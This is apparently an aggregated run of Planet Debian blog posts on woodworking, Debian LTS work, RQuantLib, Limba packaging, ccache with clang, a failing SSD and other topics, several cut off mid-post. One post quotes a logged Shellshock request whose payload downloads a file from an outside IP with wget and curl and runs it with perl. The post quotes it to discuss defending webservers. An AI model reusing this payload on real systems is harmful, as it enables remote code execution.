I'm reading planet debian since many
years, & I still enjoy it. I like the mixture of personal
thoughts/stories & insightful technical tips. today's
recommendation: Don't
ask your questions in private. very much agreed.
(If I've linked you to this page, it is my feeble attempt to provide a more convincing justification.)
as russ wrote some weeks ago in an excellent
mail to debian-vote, upstreams are the raison d' tre for
linux distributions. my experience in collaborating with upstream authors is
mostly very positive, the most recent example from today being #728345. thanks to all
upstream authors for their passion in writing software & sharing it.
& for caring about it later as well!
My LTS November
In November I resumed work on Debian LTS and worked on the following packages:
Following the lead of my dear friend Daniel and his fantastic and addictive Summing up series, here s a link pack of recent stuff I read around the web.
Link pack is definitely a terrible name, but I m working on it.
Psychologists use the term automatic negative thoughts to describe the ideas that pop into our heads uninvited, like burglars, and leave behind a mess of uncomfortable emotions. In the 1960s, one of the founders of cognitive therapy, Aaron Beck, concluded that ANTs sabotage our best self, and lead to a vicious circle of misery: creating a general mindset that is variously unhappy or anxious or angry (take your pick) and which is (therefore) all the more likely to generate new ANTs. We get stuck in the same old neural pathways, having the same negative thoughts again and again.Meet Harlem s Official Street Photographer
I tell people that my camera is a healing mechanism, Allah says. Let me photograph it and take it away from you.What Happens When We Let Industry and Government Collect All the Data They Want
There was a time when it was essentially illegal to be gay. There was a time when it was legal to own people and illegal for them to run away. Sometimes, society gets it wrong. And it s not just nameless bureaucrats; it s men like Thomas Jefferson. When that happens, strong privacy protections including collection controls that let people pick who gets their data, and when allow the persecuted and unpopular to survive.The Sex-Abuse Scandal Plaguing USA Swimming
If you think this wood looks old, worn, and broken: You should
have seen it up close; it was worse than on the potato-cam picture
;) But that's another great thing about working with wood: by
taking off a laughably thin layer of surface material, you can
renew the whole thing.
We cut off 10 cm from each side as that's what tends to split
and tossed that away. Afterwards, we cut off 80 cm from the wider
side for the legs. Again, the base tends to have more imperfections
and as you don't need to cut long pieces, you have more freedom in
deciding how to cut.
Cutting is an art in itself; tiny imperfections in the wood's
surface can hint at large fissures underneath. The fact that the
wood looks worn and spotty does not help in figuring this out.
After cutting to minimize waste, you end up with a pile like
this:
And a surprising amount of waste, i.e. firewood:
After a lot of planing, the wood becomes cleaner and
smoother:
Then, everything's fitted so that neighbouring planks have their
heartwood running into different directions, and so that the upper
surface gets (most of) the interesting features. This is another
surprisingly involved process and took about two hours.
And no, the potato-cam does not manage to capture the wood's
beauty.
After sanding the sides down to perfection to ensure the glue
can bond really tightly, the table feet are glued and put into a
hydraulic press:
while the tabletop itself shines in all its 287 cm x 107 cm x
6.3 cm glory:
Tomorrow, we will sand down the top and bottom of the tabletop
and prepare the feet. Grooves will be milled into the wood to glue
steel bars into it, as well as another plank that will be glued to
the bottom of the tabletop, running along the middle. Along with
the alternating heartwood, this helps ensure that this beast of a
table will not fold in on itself or otherwise succumb to internal
torsion or gravity.
The final steps will be to fit the feet, sand down the surface
again and then apply two layers of oil.
And while most people may not fancy taking a week off just to
rise way too early and then do unpaid work, I love it.
As I said: I like wood.
BuildRoot: % _tmppath /% name -% version -% release -root
%global RPM_BUILD_ROOT % buildroot
Requires: net-snmp-sysvinit
Requires(post): net-snmp-sysvinit
%if % rhel <= 5
BuildRequires: perl
%else
BuildRequires: perl-devel
%endif
If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt:
92.242.4.130 blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \ "GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \ "-" "() :; ; /bin/bash -c \"cd /var/tmp ; wget http://146.71.108.154/pis ; \ curl -O http://146.71.108.154/pis;perl pis;rm -rf pis\"; node-reverse-proxy.js"Yesterday I got hit with thousands of these referer-spam attempts:
152.237.221.99 - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1" \ 200 7425 "http://buttons-for-website.com" \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports). For Apache/webserver exploits we have? mod_security? I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts. Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad. I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know. For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise. Shame.
A new major release of RQuantLib is now on CRAN and getting to Debian.
All C++ source files have been rewritten to take advantage of newer Rcpp features. Several Fixed Income functions have been added, or refreshed, thanks to contributions by Michele Salvadore. Calendar support was greatly expanded thanks to a contribution by Danilo Dias da Silva. All key changes are listed in detail below.
Changes in RQuantLib version 0.4.0 (2014-12-01)Courtesy of CRANberries, there is also a diffstat report for the this release. As always, more detailed information is on the RQuantLib page. Questions, comments etc should go to the rquantlib-devel mailing list off the R-Forge page. Issue tickets can be filed at the GitHub repo.
- Changes in RQuantLib code:
- All function interfaces have been rewritten using Rcpp Attributes. No
SEXPremain in the function signatures. This make the code shorter, more readable and more easily extensible.- The header files have been reorganized so that plugin use is possible. An
impl.hfiles is imported once for each compilation unit: for RQuantLib from the filesrc/dates.cppdirectory, from a sourced file via a#defineset by the plugin wrapper.as<>()andwrap()converters have added for QuantLib Date types.- Plugin support has been added, allowing more ad-hoc use via Rcpp Attributes.
- Several Fixed Income functions have been added, and/or rewritten to better match the QuantLib signatures; this was done mostly by Michele Salvadore.
- Several Date and Calendar functions have been added.
- Calendar support has been greatly expanded thanks to Danilo Dias da Silva.
- Exported curve objects are now more parsimonious and advance entries in the
tableobject roughly one business month at a time.- The
DiscountCurveandBondcurve construction has been fixed via a corrected evaluation date and omitted the two-year swap rate, as suggested by Luigi Ballabio.- The
NAMESPACEfile has a tighter rule for export of*.defaultfunctions, as suggested by Bill Dunlap- Builds now use OpenMP where available.
- The package now depends on QuantLib 1.4.0 or later.
- Changes in RQuantLib tests:
- New unit tests for dates have been added.
- C++ code for the unit tests has also been converted to Rcpp Attributes use; a helper function
unitTestSetup()has been added.- Continuous Integration via Travis is now enabled from the GitHub repo.
- Changes in RQuantLib documentation:
- This NEWS file has been added. Better late than never, as they say.
This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.
My monthly report covers a large part of what I have been doing in the free software world. I write it for my donators (thanks to them!) but also for the wider Debian community because it can give ideas to newcomers and it s one of the best ways to find volunteers to work with me on projects that matter to me.
Debian LTS
This month I have been paid to work 18 hours on Debian LTS (14h allocated by Freexian + 4h I did not spend last month). I did the following tasks:
DEP-14: Recommended layout for Git packaging repositories
I have drafted an initial version of a document called Recommended layout for Git packaging repositories and submitted it for discussion on debian-devel.
The discussion has been interesting and constructive (yes this is still possible in Debian!). I have a bunch of improvements in my local copy and needs to process a few more feedback before submitting an updated draft. It s not a revolution but it s a good step to try to standardize tags and branches naming conventions.
Systemd, the tech-ctte and our mailing lists
As an old-timer, I care a lot about the governance of Debian and it s annoying to see how the systemd debate brought back some of our old daemons in terms of hostile atmosphere on our mailing lists.
We can disagree on a lot of things, but we must respect each other and we are here to work together on solutions for everybody. As such I wrote to the persons who cross the line to invite them to behave better. And I m glad that our listmasters are backing up our calls with bans when appropriate. I believe we must go further in that direction and I shared an idea (on a debian-private thread that should have never existed, much like most of the traffic on that list) that I shall formalize and share on debian-project@l.d.o at some point.
At the same time, we also had another governance-related discussion with the idea to impose some turnover in the technical committee. I m glad to see that we will soon vote on this topic. This is a good thing in general even though we just had 3 tech-ctte members who retired.
Misc stuff
I sponsored an upload of galette and of 3 of its plugins. I reviewed jitsi-videobridge and jitsi-meet on mentors.debian.net.
I filed a few bugs:
No comment Liked this article? Click here. My blog is Flattr-enabled.
in a very early stage of development. Bugs happen, and I give to guarantees on API stability yet.
Limba is a very simple cross-distro package installer, utilizing OverlayFS found in recent Linux kernels (>= 3.18).
As example I created a small Limba package for one of the Qt5 demo applications, and I would like to share the process of creating Limba packages it s quite simple, and I could use some feedback on how well the resulting packages work on multiple distributions.
I assume that you have compiled Limba and installed it how that is done is described in its README file. So, let s start.
1. Prepare your application
The cool thing about Limba is that you don t really have to do many changes on your application. There are a few things to pay attention to, though:
cd /path/to/my/project lipkgen make-template |
Format-Version: 1.0 Requires: Qt5Core (>= 5.3), Qt5DBus (>= 5.3), libpng12 |
lipkgen build pkginstall/ |
sudo lipa install package.ipk |
runapp $ component_id -$ version :/bin/binary-name |
I used these steps to create a Limba package for the OpenGL Qt5 demo on Tanglu 2 (Bartholomea), and tested it on Kubuntu 15.04 (Vivid) with KDE, as well as on an up-to-date Fedora 21, with GNOME and without any Qt or KDE stuff installed:
I encountered a few obstacles when building the packages, e.g. Qt5 initially didn t find the right QPA plugin that has been fixed by adjusting a config file in the Qt5Gui package. Also, on Fedora, a matching libpng was missing, so I included that as well.
You can find the packages at Github, currently (but I am planning to move them to a different place soon). The biggest issue with Limba is at time, that it needs Linux 3.18, or an older kernel with OverlayFS support compiled in. Apart from that and a few bugs, the experience is quite smooth. As soon as I am sure there are now hidden fundamental issues, I can think of implementing more features, like signing packages and automatically updating them.
Have fun playing around with Limba!
In
part 1
and
part 2
I investigated how to use ccache with clang. That was more than
three years ago.
I got an email the other day that
ccache bug 8118,
which I filed while writing part 1, was closed, as ccache 3.2 was
released. The
release notes of clang 3.2
contain several items related to clang. So it was time to give this
another look.
Basically, the conclusions from part 2 still stand: You cannot use
ccache with clang without using CCACHE_CPP2. And it is now
becoming clear to me that this is an issue that is not going to go
away, and it s not really even Clang s fault.
Warnings!
The problem is that clang s -Wall can cause warnings when
compiling the preprocessed version of otherwise harmless C code.
This can be illustrated by this piece of C code:
int
foo()
int *p, *q;
p = q = 0;
p = p;
if (p == p)
return 1;
if ((p == q))
return 2;
return 0;
gcc-4.9 -Wall, this gives no warnings. When
compiled by clang-3.5 -Wall, this results in
test.c:7:4: warning: explicitly assigning value of variable of type 'int *' to itself [-Wself-assign]
test.c:8:8: warning: self-comparison always evaluates to true [-Wtautological-compare]
test.c:10:9: warning: equality comparison with extraneous parentheses [-Wparentheses-equality]
test.c:10:9: note: remove extraneous parentheses around the comparison to silence this warning
test1.c:10:9: note: use '=' to turn this equality comparison into an assignment
You wouldn t normally write code like this, but the C preprocessor
could create code with self-assignments, self-comparisons, extra
parentheses, and so on.
This example represents the issues I saw when trying to compile
PostgreSQL 9.4 with ccache and clang; there might be others.
You can address this issue in two ways:
CCACHE_CPP2, as discussed in part 2. With ccache 3.2, you
can now also put this into a configuration file: run_second_cpp =
true in ~/.ccache/ccache.conf-Wno-parentheses-equality,
-Wno-tautological-compare, -Wno-self-assign (and any others you
might find). One might think that these are actually useful warnings
that one might want to keep, but GCC doesn t warn about them, and if
you develop primarily with GCC, your code might contain these issues
anyway. In particular, I have found that -Wno-tautological-compare
is necessary for legitimate code.CCACHE_CPP2 is the way to go, for two reasons. Firstly,
having to add more and more options to turn off warnings is obviously
somewhat stupid. Secondly and more importantly, there is nothing
stopping GCC from adding warnings similar to Clang s that would
trigger on preprocessed versions of otherwise harmless C code. Unless
they come up with a clever way to annotate the preprocessed code to
the effect of this code might look wrong to you, but it looked OK
before preprocessing, so don t warn about it , in a way that creates
no extra warnings and doesn t lose any warnings, I don t think
this issue can be solved.
Speed!
Now the question is, how much would globally setting CCACHE_CPP2
slow things down?
To test this, I have built PostgreSQL 9.4rc1 with clang-3.5 and
gcc-4.8 (not gcc-4.9 because it creates some unrelated warnings
that I don t want to deal with here). I have set export
CCACHE_RECACHE=true so that the cache is not read but new cache
entries are computed. That way, the overhead of ccache on top of
the compiler is measured.
Results:
clang-3.5
ccache is 10% slower than not using it at all.ccache with CCACHE_CPP2 on is another 10% slower.gcc-4.8
ccache is 19% slower than not using it at all.ccache with CCACHE_CPP2 is another 9% slower.gcc and clang arise because
gcc is faster than clang (yes, really, more on that in a future
post), but the overhead of ccache doesn t change.)
10% or so is not to be dismissed, but let s remember that this applies
only if there is a cache miss. If everything is cached, both methods
do the same thing. Also, if you use parallel make, the overhead is
divided by the number of parallel jobs.
With that in mind, I have decided to put the issue to rest for myself
and have made myself a ~/.ccache/ccache.conf containing
run_second_cpp = true
ccache will disable the
colored output of clang, and I suggested workarounds. This was
actually fixed in ccache 3.2, so the workarounds are no longer
necessary, and the above configuration change is really the only thing
to make Clang work smoothly with ccache.
When it all worked fine almost
In June, I bought a new laptop, and a new SSD for it. I used that model
of SSD before (Samsung 840 Evo), although not for a long time, so I
wasn't expecting anything unusual.
Since the laptop is a slower one, I installed Debian as follows:
connect SSD to my workstation, do an install on it (via Virtualbox
connected to the raw device), disconnect and install in the
laptop. First sign of trouble was that the SSD didn't boot reliably. I
said - maybe my Virtualbox method (new method) wasn't right - so I
reinstalled on the laptop, and everything was mostly OK.
Mostly OK because rarely the laptop had issues with seeing the
SSD. Maybe not cold booting, requiring a restart, or giving some ATA
errors on boot (bot nothing afterwards). I didn't use the laptop too
much - I mostly use it when travelling - so I didn't investigate
further.
Trouble begins
Fast forward to two weeks ago: I was preparing to leave on a trip, so
I booted the laptop (everything OK), apt-get dist-upgrade, synced my
git trees, etc. Everything was fine. The next day, in the airport
between two flights, the laptop doesn't boot - doesn't see the SSD at
all. I tried rebooting a gazillion times, nothing. I was quite upset -
at the hardware, and at me for not paying attention to the
unreliability signs before.
Once I arrived at the destination, I opened the laptop, tried
re-seating the SSD, nothing. I bought a SATA-to-USB bridge, and
surprise! Boots from the first, no issues. Diagnosis A: Laptop SATA
connector has issues.
I work with this SATA-to-USB bridge for a couple of days, but it was
quite slow (~20MB/s), so I buy a SATA-to-USB3 cradle, which should be
much faster. But the SSD was not visible in this cradle. Not only
that, but it was causing the laptop to hang in the POST screen -
reliably. Turn the cradle off, the laptop passes POST, turn it on, the
laptop took 2 minutes to pass the POST. OK, the cradle is
broken. Connect the SSD back to the USB2 thing not booting For about
five minutes, it was like "dead". After that, it booted and behaved
normally. I didn't know what to think, I just put it aside. So worked
for the rest of the week on the USB2 bridge, with no issues (once it
the SSD dropped off, but I think that was just USB being USB). So at
the end of the week, diagnosis (A) still was the main contender.
On the flight back home, I worked from the plane for a good number of
hours, again no issue. Laptop/SSD were fully powered off before the
flight, powered with no issues, worked fine. At the end of the flight
I completely shut down my laptop. Diagnosis A still on top.
Real trouble now
After getting home and sleeping a bit, I wanted to power up the laptop
just to transfer the code I wrote on the plane. But it didn't power
up. No problem, I said, now I actually have access to running Linux
machines and I can check what's happening. And to my surprise, the SSD
was behaving erratically:
kernel: scsi 21:0:0:0: Direct-Access USB TO I DE/SATA
Device 0008 PQ: 0 ANSI: 0kernel: scsi 22:0:0:0: Direct-Access Samsunp w 0 EVO 500G
0008 PQ: 0 ANSI: 0, but with lots of ATA errorscfdisk /dev/sdb could take >5 seconds before showing
the screen20:22:57 kernel: ata2.00: ATA-9: Samsung SSD 840 EVO 500GB, EXT0BB6Q, max UDMA/133
20:22:57 kernel: ata2.00: 976773168 sectors, multi 1: LBA48 NCQ (depth 31/32), AA
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: scsi 3:0:0:0: Direct-Access ATA Samsung SSD 840 EXT0 PQ: 0 ANSI: 5
20:22:57 kernel: sd 3:0:0:0: [sdc] 488397168 512-byte logical blocks: (250 GB/232 GiB)
20:22:57 kernel: sd 3:0:0:0: [sdc] Write Protect is off
20:22:57 kernel: sd 3:0:0:0: [sdc] Mode Sense: 00 3a 00 00
20:22:57 kernel: sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
20:22:57 kernel: ata2.00: exception Emask 0x0 SAct 0x2 SErr 0x400001 action 0x6 frozen
20:22:57 kernel: ata2: SError: RecovData Handshk
20:22:57 kernel: ata2.00: failed command: READ FPDMA QUEUED
20:22:57 kernel: ata2.00: cmd 60/08:08:68:01:00/00:00:00:00:00/40 tag 1 ncq 4096 in
20:22:57 kernel: res 40/00:00:00:00:00/00:00:00:00:00/00 Emask 0x4 (timeout)
20:22:57 kernel: ata2.00: status: DRDY
20:22:57 kernel: ata2: hard resetting link
20:22:57 kernel: ata2: SATA link up 6.0 Gbps (SStatus 133 SControl 300)
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: ata2.00: device reported invalid CHS sector 0
20:22:57 kernel: ata2: EH complete
20:22:57 kernel: ata2.00: exception Emask 0x0 SAct 0x400000 SErr 0x400001 action 0x6
20:22:57 kernel: ata2.00: irq_stat 0x44000008
20:22:57 kernel: ata2: SError: RecovData Handshk
20:22:57 kernel: ata2.00: failed command: READ FPDMA QUEUED
20:22:57 kernel: ata2.00: cmd 60/08:b0:08:03:00/00:00:00:00:00/40 tag 22 ncq 4096 in
20:22:57 kernel: res 41/84:00:08:03:00/00:00:00:00:00/00 Emask 0x410 (ATA bus error) <F>
20:22:57 kernel: ata2.00: status: DRDY ERR
20:22:57 kernel: ata2.00: error: ICRC ABRT
20:22:57 kernel: ata2: hard resetting link
20:22:57 kernel: ata2: SATA link up 6.0 Gbps (SStatus 133 SControl 300)
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: failed to get NCQ Send/Recv Log Emask 0x1
20:22:57 kernel: ata2.00: configured for UDMA/133
20:22:57 kernel: ata2: EH complete
cfdisk slowness. So after the data copy, I tested this:
Failed to upgrade firmware (or
some message like that)dd if=/dev/zero of=/dev/sdX is too common, let's try
a builtin (ATA) erase! After fighting with hdparm and the fact that
my BIOS does indeed "security freeze" on the drives (so you can't
change the security settings nor erase the drives), and finding an
article on the net that gives a few workaround, I manage to "unfreeze"
it by not only live unplugging the SATA cable, but also the power
cable, and plugging them back in. Time to erase.
Side-note here:
In a recent blog post,
I mentioned how lucky I feel to keep finding ways to work on free software.
In the past couple years, I've had a successful Kickstarter, and followed
that up with a second crowdfunding campaign, and now a grant is funding my
work. A lot to be thankful for.
A one-off crowdfunding campaign to fund free software development is
wonderful, if you can pull it off. It can start a new project, or kick
an existing one into a higher gear. But in many ways, free software
development is a poor match for kickstarter-type crowdfunding. Especially
when it comes to ongoing development, which it's really hard to do a
crowdfunding pitch for. That's why I was excited to find
Snowdrift.coop, which has a unique approach.
Imagine going to a web page for a free software project that you care
about, and seeing this button:
That's a lot stronger incentive than some paypal donation button or flattr
link! The details of how it works are explained on
their intro page,
or see the ever-insightful and thoughtful Mike Linksvayer's
blog post about it.
When I found out about this, I immediately sent them a one-off donation.
Later, I got to meet one of the developers face to face in Portland.
I've also done a small amount of work on the Snowdrift platform,
which is itself free software. (My haskell code will actually render
that button above!)
Free software is important, and its funding should be based, not on how
lucky or good we are at kickstarter pitches, but on its quality and how
useful it is to everyone. Snowdrift is the most interesting thing I've seen
in this space, and I really hope they succeed. If you agree, they're
running their own crowdfunding campaign right now.
I havent found much details online on how to perform a Moodle course mirror that could be browsed offline using httrack.
This could be useful both for backup purposes, or for distant learners with connectivity issues.
In my case, there s a login/password dialog that grants access to the moodle platform, which can be processed by httrack by capturing the POST form results using the catchurl option.
The strategy I ve used is to add filters so that everything is excluded and only explicitely mentioned filters are then allowed to be mirrored. This allows to perform the backup connected with a user that may have high privileges, while avoiding to disappear in loops or complex links following for UI rendering variants of Moodle s interface.httrack -v -z -%F "Mirrored [from host %s [file %s [at %s]]]" -N "%h%p/%n%[id].%t" "http://mymoodle.example.com/login/index.php?>postfile:/home/myself/websites/mycourse/hts-post0" "http://mymoodle.example.com/course/view.php?id=42" -O "/home/myself/websites/mycourse" "-*/*" "+/login/index.php*" "+*/course/view.php*" "+*/mod/resource/view.php*" "+*/mod/page/view.php*" "+*/mod/forum/view.php*" "+*/mod/forum/discuss.php?d=*[0-9]" "+*/mod/url/view.php*" "+*/pluginfile.php/*" "+*/mod/feedback/view.php*" "+*/mod/feedback/analysis.php*" "+*/theme/*" "-*/course/view.php?id=43"
Let s comment on these different parameters :
these are the RC bugs I've worked on during the last two weeks:
Next.